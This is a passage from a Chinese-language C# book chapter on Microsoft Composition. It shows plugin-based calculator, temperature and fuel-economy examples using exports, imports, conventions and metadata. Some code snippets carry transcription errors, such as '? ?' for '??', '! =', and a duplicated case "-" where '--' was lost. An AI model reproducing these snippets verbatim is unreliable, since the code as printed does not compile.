宿主应用程序是一个简单的控制台应用程序(包)。部件使用Export特性定义导出的 内容,对于宿主应用程序,Import特性定义了所使用的信息。在本例中,Import特性注解 了Calculator属性,以设置和获取实现ICalculator接口的对象。因此实现了这个接口的任意 计算器插件都可以在这里使用(代码文件AttributeBasedSample/SimpleHost/Program.cs)。 class Program { [Import] public ICalculator Calculator { get; set; } //etc. } 在控制台应用程序的入口方法Main()中,创建了Program类的一个新实例,接着调 用Bootstrapper()方法。在Bootstrapper ()方法中,创建了一个 ContainerConfiguration,有了ContainerConfiguration,就可以使用流利的API配置这个对 象。方法WithPart<Calculator>导出Calculator类,可以用于composition主机。 CompositionHost实例使用ContainerConfiguration的CreateContainer方法创建(代码文件 AttributeBasedSample / SimpleHost /Program.cs): public static void Main() { var p = new Program(); p.Bootstrapper(); p.Run(); } public void Bootstrapper() { var configuration = new ContainerConfiguration() .WithPart<Calculator>(); using (CompositionHost host = configuration.CreateContainer()) { //etc. } } 除了使用方法WithPart(它有重载和泛型版本以及非泛型版本)之外,还可以使用 WithParts添加部件的列表,使用WithAssembly或WithAssemblies添加程序集的一个出口。 使用CompositionHost,可以使用GetExport和GetExports方法访问导出的部件: Calculator = host.GetExport<ICalculator>(); 还可以使用更多的“魔法。”不是指定需要访问的所有出口类型,还可以使用 SatisfyImports方法(它是CompositionHost的一个扩展方法)。其第一个参数需要一个对象 与入口。因为Program类本身定义的一个属性应用Import特性,Program类的实例可以传递 到SatisfyImports方法。调用SatisfyImports后,会填充Program类的Calculator属性(代码文 件AttributeBasedSample/SimpleHost /Program.cs): using (CompositionHost host = configuration.CreateContainer()) { host.SatisfyImports(this); } 通过Calculator属性,可以使用ICalculator接口中的方法。GetOperations()方法调用 前面创建的插件的方法,它返回4个操作。要求用户指定应调用的操作并输入操作数的值 后,就调用插件方法Operate()。 public void Run() { var operations = Calculator.GetOperations(); var operationsDict = new SortedList<string, IOperation>(); foreach (var item in operations) { WriteLine($"Name: {item.Name}, number operands: " + $"{item.NumberOperands}"); operationsDict.Add(item.Name, item); } WriteLine(); string selectedOp = null; do { try { Write("Operation? "); selectedOp =ReadLine(); if (selectedOp.ToLower() == "exit" || !operationsDict.ContainsKey(selectedOp)) continue; var operation = operationsDict[selectedOp]; double[] operands = new double[operation.NumberOperands]; for (int i = 0; i < operation.NumberOperands; i++) { Write($"\t operand {i + 1}? "); string selectedOperand = ReadLine(); operands[i] = double.Parse(selectedOperand); } WriteLine("calling calculator"); double result = Calculator.Operate(operation, operands); WriteLine($"result: {result}"); } catch (FormatException ex) { WriteLine(ex.Message); WriteLine(); continue; } } while (selectedOp ! = "exit"); } 运行应用程序的一个示例输出如下: Name: +, number operands: 2 Name: -, number operands: 2 Name: /, number operands: 2 Name: *, number operands: 2 Operation? + operand 1? 3 operand 2? 5 calling calculator result: 8 Operation? - operand 1? 7 operand 2? 2 calling calculator result: 5 Operation? exit 无须更改宿主应用程序中的任何代码,就可以使用另一个完全不同的部件库。 AdvancedCalculator项目定义了Calculator类的另一种实现方式,以提供更多的操作。通过 SimpleHost项目引用项目AdvancedCalculator,就可以使用这个计算器代替另一个计算器。 这里,Calculator类实现了额外的运算符%、++和--(代码文件 AttributeBasedSample/Advanced-Calculator / Calculator.cs): [Export(typeof(ICalculator))] public class Calculator: ICalculator { public IList<IOperation> GetOperations() => new List<IOperation>() { new Operation { Name="+", NumberOperands=2}, new Operation { Name="-", NumberOperands=2}, new Operation { Name="/", NumberOperands=2}, new Operation { Name="*", NumberOperands=2}, new Operation { Name="%", NumberOperands=2}, new Operation { Name="++", NumberOperands=1}, new Operation { Name="-", NumberOperands=1} }; public double Operate(IOperation operation, double[] operands) { double result = 0; switch (operation.Name) { case "+": result = operands[0] + operands[1]; break; case "-": result = operands[0]-operands[1]; break; case "/": result = operands[0] / operands[1]; break; case "*": result = operands[0] * operands[1]; break; case "%": result = operands[0] % operands[1]; break; case "++": result = ++operands[0]; break; case "-": result =-operands[0]; break; default: throw new InvalidOperationException($"invalid operation {operation.Name }"); } return result; } }  注意: 对于SimpleHost,不能同时使用Calculator的两个实现。使用 AdvancedCalculator之前,需要删除引用SimpleCalculator,反之亦然。本章后面将介绍 多个相同类型的出口如何使用一个容器。 前面讨论了Composition体系结构中的入口、出口和类别。如果希望使用不能通过 Composition添加特性的已有类,就可以使用基于约定的部件注册,参见下一节。 26.2.2 基于约定的部件注册 基于约定的部件注册不仅允许导出部件时不使用特性,也提供了更多的选项来定义应 该导出的内容,例如,使用命名约定,如类名以PlugIn或ViewModel结尾,或使用后缀名 称Controller查找所有控制器。 引入基于约定的部件注册会构建与前面使用特性时相同的示例代码,但特性不再是必 需的,因此这里不重复这些相同的代码。这里也使用类Calculator实现了相同的协定接口 ICalculator和IOperation,以及几乎相同的部件。与类Calculator的区别是它没有Export特 性。 解决方案ConventionBasedSample包含以下项目、引用和名称空间。对于 SimpleCalculator项目,不需要Microsoft Composition的NuGet包,因为出口不由这个项目 定义。 CalculatorContract (类库) 名称空间 System.Collections.Generic SimpleCalculator (类库) 引用 CalculatorContract 名称空间 System System.Collections.Generic System.Composition SimpleHost (控制台应用程序) 引用 CalculatorContract System.Composition.AttributedModel System.Composition.Convention System.Composition.Hosting System.Composition.Runtime System.Composition.TypedParts 名称空间 System System.Collections.Generic System.Composition System.Composition.Hosting static System.Console  注意: 在编译解决方案前,需要创建一个目录c:/addins。这个示例解决方案 的宿主应用程序加载c:/ addins目录中的程序集。所以post-build命令用项目 SimpleCalculator定义,把库复制到c:/addins目录中。 创建宿主应用程序,所有这些就会变得更有趣。与前面类似,创建一个ICalculator类 型的属性,如下面的代码片段所示——它只是没有Import特性(代码文件 ConventionBasedSample/SimpleHost/Program.cs)。 public ICalculator Calculator { get; set; } 可以把Import特性应用于Calculator属性,只给出口使用约定。可以混合它们,只给出 口或入口使用约定,或者两者都使用,如这个例子所示。 Program类的Main方法与前面类似;创建Program的一个新实例,因为Calculator属性 是这个类的一个实例,然后调用Bootstrap和Run方法(代码文件 ConventionBasedSample/SimpleHost /Program.cs): public static void Main() { var p = new Program(); p.Bootstrap(); p.Run(); } Bootstrap方法现在创建一个新的ConventionBuilder。ConventionBuilder派生于基类 AttributedModelBuilder;因此需要这个基类的任何地方都可以使用它。不使用Export特 性,给派生自ICalculator的类型定义约定规则,用ForTypesDerivedFrom和Export方法导出 ICalculator。ForTypesDerivedFrom返回一个PartConventionBuilder,它允许使用流利API来 继续部件的定义,在部件类型上调用Export方法。不使用Import特性,而使用Program类的 约定规则导入ICalculator类型的属性。属性使用lambda表达式定义(代码文件 ConventionBasedSample/SimpleHost/Program.cs): public void Bootstrap() { var conventions = new ConventionBuilder(); conventions.ForTypesDerivedFrom<ICalculator>() .Export<ICalculator>(); conventions.ForType<Program>() .ImportProperty<ICalculator>(p => p.Calculator); // etc. } 定义了约定规则后,实例化ContainerConfiguration类。通过容器配置使用 ConventionsBuilder定义的约定,使用了方法WithDefaultConventions。 WithDefaultConventions需要派生自基类AttributedModelProvider的参数,即 ConventionBuilder类。在定义了要使用的约定后,可以像之前那样使用WithPart方法,指 定部件中应当应用约定的部分。为了使之比以前更加灵活,现在WithAssemblies方法用于 指定应该应用的程序集。过滤传递给这个方法的所有程序集,得到派生自ICalculator接口 的类型,来应用出口。容器配置后,像前面的示例那样创建CompositionHost (代码文件 ConventionBasedSample/SimpleHost/Program.cs): public void Bootstrap() { // etc. var configuration = new ContainerConfiguration() .WithDefaultConventions(conventions) .WithAssemblies(GetAssemblies("c:/addins")); using (CompositionHost host = configuration.CreateContainer()) { host.SatisfyImports(this, conventions); } } GetAssemblies方法从给定的目录中加载所有的程序集(代码文件 ConventionBasedSample/SimpleHost/ Program.cs): private IEnumerable<Assembly> GetAssemblies(string path) { IEnumerable<string> files = Directory.EnumerateFiles(path, "*.dll"); var assemblies = new List<Assembly>(); foreach (var file in files) { Assembly assembly = Assembly.LoadFile(file); assemblies.Add(assembly); } return assemblies; 如上所示,ConventionBuilder是基于约定的部件注册和Microsoft Composition的核 心,它使用一个流畅的API,还提供了特性所带来的所有灵活性。约定通过ForType可以 应用于特定的类型,对于派生于基类或实现了接口的类型, ForTypesDerivedFrom.ForTypesMatching允许指定灵活的谓词。例如, ForTypesMatching(t => t.Name.EndsWith("ViewModel"))把一个约定应用于名称以 ViewModel结尾的所有类型。 选择类型的方法返回一个PartBuilder。有了PartBuilder,就可以定义出口和入口,并 应用元数据。PartBuilder提供了几个方法来定义出口:Export会导出到特定的类型上, ExportInterfaces会导出一系列接口,ExportProperties会导出属性。使用导出方法导出多个 接口或属性,就可以应用谓词,进一步定义选择。这也适用于导入属性或构造函数,其方 法分别是ImportProperty、ImportProperties和SelectConstructors。 简要介绍了使用Microsoft Composition、特性和约定的两种方式后,下面详细介绍使 用一个Windows应用程序来托管部件。 26.3 定义协定 下面的示例应用程序扩展了第一个应用程序。宿主应用程序是一个WPF应用程序和 UWP应用程序,它加载计算器部件以实现计算功能,还加载其他插件,把它们自己的用 户界面引入宿主。  注意: 编写UWP(Universal Windows Platform)和WPF应用程序的更多信息 可参见第29章到第36章。 UICalculator解决方案略大,至少是对一本书而言。它演示了使用Microsoft Composition与多个技术——UWP和WPF。当然,也可以关注其中的一个技术,仍然使用 示例应用程序的很多功能。解决方案的项目及其依赖关系如图26-3所示。 WPFCalculatorHost和UWPCalculatorHost项目加载和管理部件。与以前一样,定义 SimpleCalculator,并提供一些方法。与前面计算器示例不同的是,这个部件利用了另一个 部件AdvancedOperations。提供用户界面的其他部件使用FuelEconomy和 TemperatureConversion定义。用户界面用WPF和UWP定义,但常见的功能在共享项目中定 义。 图26-3 下面是需要的项目、引用和名称空间: CalculatorContract (类库) 名称空间 System.Collections.Generic CalculatorUtils (类库) 引用 System.Composition.AttributedModel 名称空间 System System.Collections.Generic System.ComponentModel System.Composition System.Runtime.CompilerServices SimpleCalculator (类库) 引用 System.Composition.AttributedModel 名称空间 System System.Collections.Generic System.Composition AdvancedOperations (类库) 引用 System.Composition.AttributedModel 名称空间 System.Composition System.Threading.Tasks Fuel Economy and Temp. Conversion UWP (Universal Windows类库) 引用 System.Composition.AttributedModel 名称空间 System.Collections.Generic System.Composition Windows.UI.Xaml.Controls Fuel Economy and Temp. Conversion WPF (WPF类库) 引用 System.Composition.AttributedModel 名称空间 System.Collections.Generic System.Composition System.Windows.Controls Calculator View Models (类库) 引用 System.Composition.AttributedModel System.Composition.Hosting System.Composition.TypedParts 名称空间 System System.Collections.Generic System.Collections.ObjectModel System.Composition System.Composition.Hosting System.Linq System.Windows.Input WPF Calculator Host (WPF应用程序) 引用 CalculatorContract SimpleCalculator System.Composition.AttributedModel System.Composition.Hosting System.Composition.TypedParts 名称空间 System System.Globalization System.IO System.Windows System.Windows.Controls System.Windows.Data System.Windows.Media.Imaging 对于计算,使用前面定义的相同协定:ICalculator和IOperation接口。添加的另一个协 定是ICalculatorExtension。这个接口定义了可由宿主应用程序使用的UI属性。该属性的get 访问器返回一个FrameworkElement。属性类型定义为object,用这个接口同时支持WPF和 UWP应用程序。在WPF中,FrameworkElement在名称空间System.Windows中定义;在 UWP中,它在名称空间Windows.UI.Xaml中定义。把属性的类型定义为object,还允许不 把WPF或UWP相关的依赖关系添加到库中。 UI属性允许插件返回派生自FrameworkElement的任何用户界面元素,并在宿主应用程 序中显示为用户界面(代码文件UICalculator /CalculatorContract / ICalculatorExtension.cs): public interface ICalculatorExtension { object UI { get; } } .NET接口用于去除在实现该接口的插件和使用该接口的插件之间的依赖性。这 样,.NET接口也是用于Composition的一个优秀协定,去除了在宿主应用程序和插件之间 的依赖性。如果接口在一个单独的程序集中定义,与CalculatorContract程序集一样,宿主 应用程序和插件就没有直接的依赖关系。然而,宿主应用程序和插件仅引用协定程序集。 从Composition的角度来看,根本不需要接口协定。协定可以是一个简单的字符串。 为了避免与其他协定冲突,字符串名应包含名称空间名,例如, Wrox.ProCSharp.Composition.SampleContract,如下面的代码片段所示。这里的Foo类使用 Export特性导出,并把一个字符串传递给该特性,而不是传递给接口。 [Export("Wrox.ProCSharp.Composition.SampleContract")] public class Foo { public string Bar() { return "Foo.Bar"; } } 把协定用作字符串的问题是,类型提供的方法、属性和事件都不是强定义的。调用者 或者需要引用类型Foo才能使用它,或者使用.NET反射来访问其成员。C# 4的dynamic关 键字使反射更便于使用,在这种情况下非常有帮助。 宿主应用程序可以使用dynamic类型导入Wrox.ProCSharp.Composition.SampleContract 协定: [Import("Wrox.ProCSharp.MEF.SampleContract")] public dynamic Foo { get; set; } 有了dynamic关键字,Foo属性就可以用于直接访问Bar()方法。这个方法的调用会 在运行期间解析: string s = Foo.Bar(); 协定名和接口也可以联合使用,定义只有接口和协定同名时才能使用的协定。这样, 就可以对于不同的协定使用同一个接口。  注意: dynamic类型参见第16章。 26.4 导出部件 在前面的例子中,包含了SimpleCalculator部件,它导出了Calculator类型及其所有的 方法和属性。下面的例子也包含SimpleCalculator,其实现方式与前面相同,但还导出了另 外两个部件TemperatureConversion和FuelEconomy。这些部件为宿主应用程序提供了UI。 26.4.1 创建部件 WPF用户控件库TemperatureConversionWPF定义了如图26-4所示的用户界面。这个控 件提供了摄氏、华氏和绝对温度之间的转换。在第一和第二个组合框中,可以选择转换的 源和目标。Calculate按钮会启动执行转换的计算过程。 图26-4 在UWP中,还定义了一个库TemperatureConversionUWP。这两个项目分享共享库 TemperatureConversionShared中的共同代码。这些UI插件使用的所有C#代码都在这个共享 项目中。但UI的XAML代码不同,它在WPF和UWP项目中定义。 该用户控件为温度转换提供了一个简单的实现方式。TempConversionType枚举定义了 这个控件可能进行的不同转换。两个组合框中显示的枚举值绑定到 TemperatureConversionViewModel的TemperatureConversionTypes属性上。 ToCelsiusFrom()方法把参数t从其原始值转换为摄氏值。温度的源类型用第二个参数 TempConversionType定义。FromCelsiusTo()方法把摄氏值转换为所选的温度值。 OnCalculate()方法赋予Calculate命令,它调用ToCelsiusFrom()和FromCelsiusTo() 方法,根据用户选择的转换类型执行转换(代码文件 UICalculator/TemperatureConversionShared/TemperatureConversionViewModel.cs)。 public enum TempConversionType { Celsius, Fahrenheit, Kelvin } public class TemperatureConversionViewModel: BindableBase { public TemperatureConversionViewModel() { CalculateCommand = new DelegateCommand(OnCalculate); } public DelegateCommand CalculateCommand { get; } public IEnumerable<string> TemperatureConversionTypes => Enum.GetNames(typeof(TempConversionType)); private double ToCelsiusFrom(double t, TempConversionType conv) { switch (conv) { case TempConversionType.Celsius: return t; case TempConversionType.Fahrenheit: return (t-32) / 1.8; case TempConversionType.Kelvin: return (t-273.15); default: throw new ArgumentException("invalid enumeration value"); } } private double FromCelsiusTo(double t, TempConversionType conv) { switch (conv) { case TempConversionType.Celsius: return t; case TempConversionType.Fahrenheit: return (t * 1.8) + 32; case TempConversionType.Kelvin: return t + 273.15; default: throw new ArgumentException("invalid enumeration value"); } } private string _fromValue; public string FromValue { get { return _fromValue; } set { SetProperty(ref _fromValue, value); } } private string _toValue; public string ToValue { get { return _toValue; } set { SetProperty(ref _toValue, value); } } private TempConversionType _fromType; public TempConversionType FromType { get { return _fromType; } set { SetProperty(ref _fromType, value); } } private TempConversionType _toType; public TempConversionType ToType { get { return _toType; } set { SetProperty(ref _toType, value); } } public void OnCalculate() { double result = FromCelsiusTo( ToCelsiusFrom(double.Parse(FromValue), FromType), ToType); ToValue = result.ToString(); } 到目前为止,这个控件仅是一个简单的用户控件,带有一个视图模型。为了创建部 件,要使用Export特性导出TemperatureCalculatorExtension类。这个类实现 ICalculatorExtension接口,从UI属性中返回用户控件TemperatureConversion。对于UWP和 WPF,会生成不同的二进制代码,但使用不同的名称空间。名称空间的选择使用预处理 器指令完成(代码文件UICalculator/TemperatureConversion/Temperature ConversionExtension.cs)。 #if WPF using TemperatureConversionWPF; #endif #if WINDOWS_UWP using TemperatureConversionUWP; #endif using System.Composition; namespace Wrox.ProCSharp.Composition { [Export(typeof(ICalculatorExtension))] [CalculatorExtensionMetadata( Title = "Temperature Conversion", Description = "Temperature conversion", ImageUri = "Images/Temperature.png")] public class TemperatureConversionExtension: ICalculatorExtension { private object _control; public object UI => _control ? ? (_control = new TemperatureConversionUC()); } } 现在,忽略以前的代码片段中使用的CalculatorExtension特性。 另一个实现了ICalculatorExtension接口的用户控件是FuelEconomy。通过这个控件, 可以计算每加仑行驶的英里数或每行驶100千米的升数,该用户界面如图26-5所示。 图26-5 下面的代码片段显示了类FuelEconomyViewModel,它定义了在用户界面上绑定的几 个属性,例如,fuelEcoType列表,它允许用户在英里数和千米数之间选择;此外还定义 了Fuel和Distance属性,由用户填充这些属性(代码文件 UICalculator/FuelEconomyShared/FuelEconomyViewModel.cs): public class FuelEconomyViewModel: BindableBase { public FuelEconomyViewModel() { InitializeFuelEcoTypes(); CalculateCommand = new DelegateCommand(OnCalculate); } public DelegateCommand CalculateCommand { get; } // etc. public List<FuelEconomyType> FuelEcoTypes { get; } = new List<FuelEconomyType>(); private void InitializeFuelEcoTypes() { var t1 = new FuelEconomyType { Id = "lpk", Text = "L/100 km", DistanceText = "Distance (kilometers)", FuelText = "Fuel used (liters)" }; var t2 = new FuelEconomyType { Id = "mpg", Text = "Miles per gallon", DistanceText = "Distance (miles)", FuelText = "Fuel used (gallons)" }; FuelEcoTypes.AddRange(new FuelEconomyType[] { t1, t2 }); } private FuelEconomyType _selectedFuelEcoType; public FuelEconomyType SelectedFuelEcoType { get { return _selectedFuelEcoType; } set { SetProperty(ref _selectedFuelEcoType, value); } } private string _fuel; public string Fuel { get { return _fuel; } set { SetProperty(ref _fuel, value); } } private string _distance; public string Distance { get { return _distance; } set { SetProperty(ref _distance, value); } } private string _result; public string Result { get { return _result; } set { SetProperty(ref _result, value); } } }  注意: 示例代码中使用的基类BindableBase仅提供了接口 INotifyPropertyChanged的实现代码。这个类位于CalculatorUtils项目中。 计算在OnCalculate()方法中完成。OnCalculate()是Calculate按钮的单击事件的处 理程序(代码文件UICalculator/FuelEconomyShared/FuelEconomyViewModel.cs)。 public void OnCalculate() { double fuel = double.Parse(Fuel); double distance = double.Parse(Distance); FuelEconomyType ecoType = SelectedFuelEcoType; double result = 0; switch (ecoType.Id) { case "lpk": result = fuel / (distance / 100); break; case "mpg": result = distance / fuel; break; default: break; } Result = result.ToString(); } 再次使用Export特性实现ICalculatorExtension接口并导出(代码文件 UICalculator/FuelEconomy-Shared/FuelCalculatorExtension.cs)。 [Export(typeof(ICalculatorExtension))] [CalculatorExtensionMetadata( Title = "Fuel Economy", Description = "Calculate fuel economy", ImageUri = "Images/Fuel.png")] public class FuelCalculatorExtension: ICalculatorExtension { private object _control; public object UI => _control ? ? (_control = new FuelEconomyUC()); } 在继续宿主应用程序以导入用户控件之前,先看看导出的其他选项。不仅一个部件可 以导出其他部件,也可以给出口添加元数据信息。 26.4.2 使用部件的部件 Calculator类现在不能直接实现Add和Subtract方法,但可以使用其他部件来实现。要 定义提供单一操作的部件,定义接口IBinaryOperation(代码文件 UICalculator/CalculatorContract/IBinary-Operation.cs): public interface IBinaryOperation { double Operation(double x, double y); } Calculator类定义的属性会导入匹配Subtract方法的部分。该入口命名为Subtract,因为 并非需要IBinaryOperation的所有出口——只需要Subtract出口(代码文件UICalculator / SimpleCalculator /Calculator.cs): [Import("Subtract")] public IBinaryOperation SubtractMethod { get; set; } Calculator类的Import匹配SubtractOperation的Export(代码文件 UICalculator/AdvancedOperations/Operations.cs): [Export("Subtract", typeof(IBinaryOperation))] public class SubtractOperation: IBinaryOperation { public double Operation(double x, double y) => x-y; } 现在只有Calculator类中Operate方法的实现代码需要更改,以利用内在的部件。 Calculator本身不需要创建一个容器,来匹配内在的部件。只要导出的部件可在注册的类 型或程序集中可用,这已经在托管容器中自动完成了(代码文件UICalculator / SimpleCalculator / Calculator.cs): public double Operate(IOperation operation, double[] operands) { double result = 0; switch (operation.Name) { // etc. case "-": result = SubtractMethod.Operation(operands[0], operands[1]); break; // etc. 26.4.3 导出元数据 利用导出功能,还可以附加元数据信息。元数据允许添加除了名称和类型之外的其他 信息。这些信息可用于添加功能信息,确定在入口端应使用哪些出口。 Calculator类使用一个内部的部件,不仅用于Subtract方法,也用于Add方法。下面代 码片段中的AddOperation使用Export特性Add和SpeedMetadata特性。SpeedMetadata特性指 定速度信息Speed(代码文件UICalculator/AdvancedOperations/Operations.cs): [Export("Add", typeof(IBinaryOperation))] [SpeedMetadata(Speed = Speed.Fast)] public class AddOperation: IBinaryOperation { public double Operation(double x, double y) => x + y; } 还有另一个出口用于Add方法SpeedMetadata Speed.Slow(代码文件 UICalculator/Advanced-Operations / Operations.cs): [Export("Add", typeof(IBinaryOperation))] [SpeedMetadata(Speed = Speed.Slow)] public class SlowAddOperation: IBinaryOperation { public double Operation(double x, double y) { Task.Delay(3000).Wait(); return x + y; } } Speed只是一个带有两个值的枚举(代码文件UICalculator/CalculatorUtils/ SpeedMetadata.cs): public enum Speed { Fast, Slow } 创建一个特性类,应用MetadataAttribute,可以定义元数据。这个特性应用于一个部 件,如AddOperation和SlowAddOperation类型所示(代码文件 UICalculator/CalculatorUtils/SpeedMetadata-Attribute.cs): [MetadataAttribute] [AttributeUsage(AttributeTargets.Class)] public class SpeedMetadataAttribute: Attribute { public Speed Speed { get; set; } }  注意: 如何创建自定义特性的更多信息参见第16章。 为了利用入口访问元数据,定义SpeedMetadata类。SpeedMetadata定义了与 SpeedMetadataAttribute相同的属性(代码文件UICalculator / CalculatorUtils / SpeedMetadata.cs): public class SpeedMetadata { public Speed Speed { get; set; } } 定义了多个Add出口后,如前面所示使用Import特性会在运行期间失败。多个出口不 能只匹配一个入口。如果多个出口有相同的名称和类型,就使用特性ImportMany。这个 特性应用于类型数组或IEnumeration < T >的一个属性。 因为通过出口应用元数据,匹配Add出口的属性的类型就是Lazy<IBinaryOperation, SpeedMetadata>的一个数组(代码文件UICalculator / SimpleCalculator / Calculator.cs): [ImportMany("Add")] public Lazy<IBinaryOperation, SpeedMetadata>[] AddMethods { get; set; } ImportMany在下一节详细解释。Lazy类型允许使用泛型定义Lazy<T, TMetadata>访问 元数据。Lazy<T>类用于支持类型在第一次使用时的惰性初始化。Lazy<T, TMetadata>派 生自Lazy<T>,除了基类支持的成员之外,它还支持通过Metadata特性访问元数据信息。 对Add()方法的调用现在改为遍历Lazy<IBinaryOperation, SpeedMetadata>元素的集 合。通过Metadata属性,检查功能的键;如果Speed功能的值是Speed.Fast,就使用 Lazy<T>的Value属性调用操作,以获取委托(代码文件 UICalculator/SimpleCalculator/Calculator.cs)。 public double Operate(IOperation operation, double[] operands) { double result = 0; switch (operation.Name) { case "+": foreach (var addMethod in AddMethods) { if (addMethod.Metadata.Speed == Speed.Fast) { result = addMethod.Value.Operation(operands[0], operands[1]); } } break; // etc. 26.4.4 使用元数据进行惰性加载 Microsoft Composition元数据不仅可用于根据元数据信息选择部件,还可以在实例化 部件之前给宿主应用程序提供部件的信息。 下面的示例为计算器扩展FuelEconomy和TemperatureConversion提供图像的标题、描 述和链接(代码文件UICalculator/CalculatorUtils/ CalculatorExtensionMetadataAttribute.cs): [MetadataAttribute] [AttributeUsage(AttributeTargets.Class)] public class CalculatorExtensionMetadataAttribute: Attribute { public string Title { get; set; } public string Description { get; set; } public string ImageUri { get; set; } } 对于部件,应用CalculatorExtensionMetadata特性。下面是一个例子 FuelCalculatorExtension (代码文件UICalculator / FuelEconomyShared / FuelCalculatorExtension.cs): [Export(typeof(ICalculatorExtension))] [CalculatorExtensionMetadata( Title = "Fuel Economy", Description = "Calculate fuel economy", ImageUri = "Images/Fuel.png")] public class FuelCalculatorExtension: ICalculatorExtension { private object _control; public object UI => _control ? ? (_control = new FuelEconomyUC()); } 部件会消耗大量内存。如果用户不实例化部件,就没有必要使用该内存。相反,可以 访问标题、描述和图片,在实例化之前为用户提供部件的信息。 26.5 导入部件 下面使用用户控件和宿主应用程序。WPF宿主应用程序的设计视图如图26-6所示。 图26-6 对于每一部件类型,都创建一个单独的入口、管理器和视图模型。为了使用实现 ICalculator接口的部件,CalculatorImport用于定义Import, CalculatorManager用于创建 CompositionHost和加载部件,CalculatorViewModel用于定义绑定到用户界面的属性和命 令。为了使用实现ICalculatorExtension接口的部件,依次定义CalculatorExtensionImport、 CalculatorExtensionManager和CalculatorExtensionViewModel。 先从CalculatorImport类开始。对于第一个示例,只用Program类定义一个属性,来导 入部件。最好为入口定义一个单独的类。有了这个类,还可以定义一个用特性 OnImportsSatisfied注释的方法。这个特性标记匹配入口时调用的方法。在示例代码中,触 发事件ImportsSatisfied。Calculator属性应用了Import特性。这里,类型是Lazy < ICalculator >,用于以后的实例化。只有访问Lazy类型的Value时,才实例化部件(代码文 件UICalculator / CalculatorViewModels / CalculatorImport.cs): public class CalculatorImport { public event EventHandler<ImportEventArgs> ImportsSatisfied; [Import] public Lazy<ICalculator> Calculator { get; set; } [OnImportsSatisfied] public void OnImportsSatisfied() { ImportsSatisfied? .Invoke(this, new ImportEventArgs { StatusMessage = "ICalculator import successful" }); } } CalculatorManager类在构造函数中实例化CalculatorImport类。在InitializeContainer方 法中,实例化ContainerConfiguration类,用传递给方法的类型创建CompositionHost容器。 SatisfyImports方法匹配要导入的出口(代码文件UICalculator / CalculatorViewModels / CalculatorManager.cs): public class CalculatorManager { private CalculatorImport _calcImport; public event EventHandler<ImportEventArgs> ImportsSatisfied; public CalculatorManager() { _calcImport = new CalculatorImport(); _calcImport.ImportsSatisfied += (sender, e) => { ImportsSatisfied? .Invoke(this, e); }; } public void InitializeContainer(params Type[] parts) { var configuration = new ContainerConfiguration().WithParts(parts); using (CompositionHost host = configuration.CreateContainer()) { host.SatisfyImports(_calcImport); } } // etc. } CalculatorManager的GetOperators方法调用Calculator的GetOperations方法。这个方法 用来在用户界面上显示所有可用的运算符。一旦定义了计算,就调用InvokeCalculator方 法,传递操作和操作数,再调用计算器中的Operate方法(代码文件 UICalculator/CalculatorViewModels/CalculatorManager.cs): public class CalculatorManager { // etc. public IEnumerable<IOperation> GetOperators() => _calcImport.Calculator.Value.GetOperations(); public double InvokeCalculator(IOperation operation, double[] operands) => _calcImport.Calculator.Value.Operate(operation, operands); } CalculatorViewModel需要什么?这个视图模型定义了几个属性:CalcAddInOperators 属性列出可用的运算符,Input属性包含用户输入的计算,Result属性显示操作的结果, CurrentOperation属性包含当前操作。它还定义了_currentOperands字段,其中包含所选的 操作数。使用Init方法初始化容器,从Calculator部件中检索运算符。OnCalculate方法使用 部件进行计算(代码文件UICalculator /CalculatorViewModels/CalculatorViewModel.cs): public class CalculatorViewModel: BindableBase { public CalculatorViewModel() { _calculatorManager = new CalculatorManager(); _calculatorManager.ImportsSatisfied += (sender, e) => { Status += $"{e.StatusMessage}\n"; }; CalculateCommand = new DelegateCommand(OnCalculate); } public void Init(params Type[] parts) { _calculatorManager.InitializeContainer(parts); var operators = _calculatorManager.GetOperators(); CalcAddInOperators.Clear(); foreach (var op in operators) { CalcAddInOperators.Add(op); } } private CalculatorManager _calculatorManager; public ICommand CalculateCommand { get; set; } public void OnCalculate() { if (_currentOperands.Length == 2) { string[] input = Input.Split(' '); _currentOperands[1] = double.Parse(input[2]); Result = _calculatorManager.InvokeCalculator(_currentOperation, _currentOperands); } } private string _status; public string Status { get { return _status; } set { SetProperty(ref _status, value); } } private string _input; public string Input { get { return _input; } set { SetProperty(ref _input, value); } } private double _result; public double Result { get { return _result; } set { SetProperty(ref _result, value); } } private IOperation _currentOperation; public IOperation CurrentOperation { get { return _currentOperation; } set { SetCurrentOperation(value); } } private double[] _currentOperands; private void SetCurrentOperation(IOperation op) { try { _currentOperands = new double[op.NumberOperands]; _currentOperands[0] = double.Parse(Input); Input += $" {op.Name} "; SetProperty(ref _currentOperation, op, nameof(CurrentOperation)); } catch (FormatException ex) { Status = ex.Message; } } public ObservableCollection<IOperation> CalcAddInOperators { get; } = new ObservableCollection<IOperation>(); } 26.5.1 导入连接 入口连接到出口上。使用导出的部件时,需要一个入口来建立连接。通过Import特 性,可以连接到一个出口上。如果应加载多个部件,就需要ImportMany特性,并需要把 它定义为一个数组类型或IEnumerable<T>。因为宿主计算器应用程序允许加载实现了 ICalculatorExtension接口的多个计算器扩展,所以CalculatorExtensionImport类定义了 IEnumerable<ICalculatorExtension>类型的CalculatorExtensions属性,以访问所有的计算器 扩展部件(代码文件UICalculator/Calculator-ViewModels/CalculatorExtensionImport.cs)。 public class CalculatorExtensionsImport { public event EventHandler<ImportEventArgs> ImportsSatisfied; [ImportMany()] public IEnumerable<Lazy<ICalculatorExtension, CalculatorExtensionMetadataAttribute>> CalculatorExtensions { get; set; } [OnImportsSatisfied] public void OnImportsSatisfied() { ImportsSatisfied? .Invoke(this, new ImportEventArgs { StatusMessage = "ICalculatorExtension imports successful" }); } } Import和ImportMany特性允许使用ContractName和ContractType把入口映射到出口 上。 在创建CalculatorExtensionsManager类时,CalculatorExtensionsImport类的 ImportsSatisfied事件连接到一个事件处理程序上,触发一个事件,再把一条消息写入在UI 上绑定的Status属性中,以显示状态信息(代码文件UICalculator/ CalculatorViewModels/CalculatorExtensionsManager.cs): public sealed class CalculatorExtensionsManager { private CalculatorExtensionsImport _calcExtensionImport; public event EventHandler<ImportEventArgs> ImportsSatisfied; public CalculatorExtensionsManager() { _calcExtensionImport = new CalculatorExtensionsImport(); _calcExtensionImport.ImportsSatisfied += (sender, e) => { ImportsSatisfied? .Invoke(this, e); }; } public void InitializeContainer(params Type[] parts) { var configuration = new ContainerConfiguration().WithParts(parts); using (CompositionHost host = configuration.CreateContainer()) { host.SatisfyImports(_calcExtensionImport); } } public IEnumerable<Lazy<ICalculatorExtension, CalculatorExtensionMetadataAttribute>> GetExtensionInformation() => _calcExtensionImport.CalculatorExtensions.ToArray(); } 26.5.2 部件的惰性加载 